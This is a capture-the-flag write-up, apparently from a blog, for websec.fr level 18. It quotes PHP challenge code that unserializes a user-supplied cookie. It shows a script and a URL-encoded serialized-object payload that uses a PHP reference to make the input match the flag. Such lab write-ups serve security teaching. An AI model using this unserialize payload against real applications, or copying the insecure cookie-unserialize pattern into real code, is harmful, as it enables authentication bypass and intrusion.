websec.fr level18

From the challenge source, we see that on first load, a new instance of stdClass is instantiated and serialized into a cookie named obj.

if (isset ($POST['obj'])) {
    setcookie ('obj', $_POST['obj']);
} elseif (!isset ($_COOKIE['obj'])) {
    $obj = new stdClass;
    $obj->input = 1234;
    setcookie ('obj', serialize ($obj));
}

In the actual body, the application unserializes the object into $unserialized_obj and then sets the flag attribute to the flag.

$obj = $_COOKIE['obj'];
$unserialized_obj = unserialize ($obj);
$unserialized_obj->flag = $flag;  

What's interesting is how the application actually verifies the flag, it compares $unserialized_obj->flag with $unserialized_obj->input. Now in PHP, serialized objects can hold references to other attributes within the same object (ref: http://www.phpinternalsbook.com/classes_objects/serialization.html). We can exploit this by creating our own instance of stdClass and setting input to be a reference to the flag attribute.

<?php

$obj = new stdClass;
$obj->flag = null; # we don't care what the actual value of flag is
$obj->input = &$obj->flag; # magical reference time

echo urlencode(serialize($obj)); # cookies are urlencoded, we should do the same here

Finally, we get our payload which is something like:

O%3A8%3A%22stdClass%22%3A2%3A%7Bs%3A5%3A%22input%22%3BN%3Bs%3A4%3A%22flag%22%3BR%3A2%3B%7D

Which we can submit and obtain our flag.

Show Comments

Get the latest posts delivered right to your inbox.